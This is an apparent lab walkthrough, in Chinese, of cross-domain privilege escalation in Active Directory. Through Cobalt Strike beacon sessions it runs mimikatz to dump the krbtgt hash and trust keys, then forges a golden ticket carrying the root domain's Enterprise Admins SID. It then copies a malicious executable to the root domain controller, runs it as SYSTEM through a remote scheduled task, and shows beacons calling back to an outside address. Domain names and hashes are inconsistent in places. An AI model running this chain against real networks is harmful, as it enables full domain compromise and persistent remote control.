利用krbtgt哈希值获取目标域

实验环境

IP地址	所属域	域中地位	机器名	当前登录用户
192.168.41.10	hack.com	根域的域控	DC	hack\administrator
192.168.41.130	xyz.hack.com	子域的域控	DC20	xyz\administrator
192.168.41.183	xyz.hack.com	子域中的机器	MSB-2008	abc\liwei

当前已经控制abc.hack.com域,其中包括 DC2机器和PC-2008机器

实验步骤

获取Krbtgt散列

lsadump::lsa /patch /user:krbtgt

```
beacon> mimikatz lsadump::lsa /patch /user:krbtgt
[*] Tasked beacon to run mimikatz's lsadump::lsa /patch /user:krbtgt command
[+] host called home, sent: 706118 bytes
[+] received output:
Domain : ABC / S-1-5-21-2902250016-280749999-3752131090

RID : 000001f6 (502)
User : krbtgt
LM :
NTLM : 96d6714b1995e9d724a88ada46e9f30f
```

获取关键信息

lsadump::trust /patch

```
beacon> mimikatz lsadump::trust /patch
[*] Tasked beacon to run mimikatz's lsadump::trust /patch command
[+] host called home, sent: 706120 bytes
[+] received output:
Current domain: ABC.HACK.COM (ABC / S-1-5-21-2902250016-280749999-3752131090)
Domain: HACK.COM (HACK / S-1-5-21-2716900768-72748719-3475352185)
[ In ] ABC.HACK.COM -> HACK.COM
    * 2022/10/6 17:02:40 - CLEAR
                                  - 98 16 a2 43 71 e4 50 30 5e b2 eb 9e e1 5c de c5 ca 54 73 dc
b5 d9 e8 dc 49 01 94 6e 2c ea 06 14 f5 cb 16 6a 3e 73 2d d2 fb cb 2b 98 15 02 a8 16 3f 86 58 0d
c2 66 ab 95 b2 87 24 06 7a 21 b0 1f 4b 62 d3 dd 53 42 4b 98 89 6f 86 40 2b b6 ba 59 12 d5 9a d2
2d 7c 95 54 4f 80 f7 14 d0 09 5a 57 f9 5f 2b 7d 76 03 68 65 14 89 c2 8e b3 3d f1 2f 33 f7 82 82
8a 28 ec 30 25 95 d3 29 4e 98 9a 99 1e 24 8d 76 63 d0 87 e5 9a 6d c6 ec <u>3a c8 e9 c8 65 b5 cc 6a</u>
93 b6 bc e1 12 06 ae 5c
    * aes256 hmac
                        2aa42ff0ef24cdd442b74a889a461c3c9b90e6b5b32fc4112e8c75f0c10d614f
    * aes128 hmac
                        e714482aba429241b8d31a37464d1f52
    * rc4_hmac_nt
                        4101a9a4410052f42a70990e5371a5b9
```

```
Kerberos::golden /user:administrator /domain:当前域名 /sid:当前SID /sids:目标域SID-519 /krbtgt:krbtgt散列 /ptt
Kerberos::golden /user:administrator /domain:abc.hack.com /sid:S-1-5-21-
2902250016-280749999-3752131090 /sids:S-1-5-21-2716900768-72748719-3475352185-
519 /krbtgt:96d6714b1995e9d724a88ada46e9f30f /ptt
```

```
beacon> mimikatz kerberos::golden /user:administrator /domain:abc.hack.com /sid:S-1-5-21-2902250016-280749999-3752131090 /sids:S-1-5-21-2716900768-72748719-3475352185-519 /krbtgt:96d6714b1995e9d724a89ada46e9f30f /ptt
[*] Tasked beacon to run mimikatz's kerberos::golden /user:administrator /domain:abc.hack.com /sid:S-1-5-21-2902250016-280749999-3752131090 /sids:S-1-5-21-2716900768-72748719-3475352185-519 /krbtgt:96d6714b1995e9d724a88ada46e9f30f /ptt command
[*] host called home, sent: 706122 bytes
[*] received output:
User : administrator
Domain : abc.hack.com (ABC)
SID : S-1-5-21-2902250016-280749999-3752131090
User Id : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-2716900768-72748719-3475352185-519 ;
ServiceKey: 96d6714b1995e9d724a88ada46e9f30f - rc4_hmac_nt
Lifetime : 2022/10/7 16:28:43 ; 2032/10/4 16:28:43 - 2032/10/4 16:28:43

* PAC generated

* PAC signed

* EncTicketPart generated

* EncTicketPart generated

* EncTicketPart encrypted

* KrbCred generated

Golden ticket for 'administrator @ abc.hack.com' successfully submitted for current session
```

访问目标域

dir \\dc.hack.com\c\$

```
beacon> shell dir \\dc.hack.com\c$
[*] Tasked beacon to run: dir \\dc.hack.com\c$
[+] host called home, sent: 51 bytes
[+] received output:
 驱动器 \\dc.hack.com\c$ 中的卷没有标签。
卷的序列号是 4A35-60F8
 \\dc.hack.com\c$ 的目录
2022/06/17 00:40
                        14,336 1.exe
2013/08/22 23:52
                  <DIR>
                                PerfLogs
2022/09/22 14:46
                  <DIR>
                                Program Files
2013/08/22 23:39 <DIR>
                                Program Files (x86)
                      12,566,528 system.hive
2022/09/27 20:11
2022/09/27 20:10
                  <DIR>
                                test
2022/03/30 16:37
                  <DIR>
                                Users
2022/08/18 13:10
                         14,336 wanli.exe
2022/09/27 14:27
                   <DIR>
                                Windows
             3 个文件
                       12,595,200 字节
             6 个目录 14,229,024,768 可用字节
```

复制恶意文件

copy 1.exe \\dc.hack.com\c\$

```
beacon> shell copy 1.exe \\dc.hack.com\c$
[*] Tasked beacon to run: copy 1.exe \\dc.hack.com\c$
[+] host called home, sent: 58 bytes
[+] received output:
已复制 1 个文件。
```

schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\1.exe /ru system /f

Deacon> shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\l.exe /ru system /f
[*] Tasked beacon to run: schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\l.exe /ru system /f
[+] host called home, sent: 110 bytes
[+] received output:
成功:成功创建计划任务 "test"。

启动计划任务

schtasks /run /s dc.hack.com /i /tn "test"

beacon> shell schtasks /run /s dc.hack.com /i /tn "test"
[*] Tasked beacon to run: schtasks /run /s dc.hack.com /i /tn "test"
[+] host called home, sent: 73 bytes
[+] received output:
成功: 尝试运行 "test"。

上线

□ 175.9.142.44 192.168.41.170 wanli Administrator * DC2 1.exe 4072 x	6 34s	x86	5640	1.exe	DC	SYSTEM *	wanli	192.168.41.10	175.9.142.44
	6 891	x86	2668	1.exe	DC2	Administrator *	wanli	192.168.41.170	175.9.142.44
	6 427	x86	4072	1.exe	DC2	Administrator *	wanli	192.168.41.170	175.9.142.44
■ 175.9.142.44 192.168.41.175 wanli wanli PC-2008 1.exe 2916 x	6 112	x86	2916	1.exe	PC-2008	wanli	wanli	192.168.41.175	175.9.142.44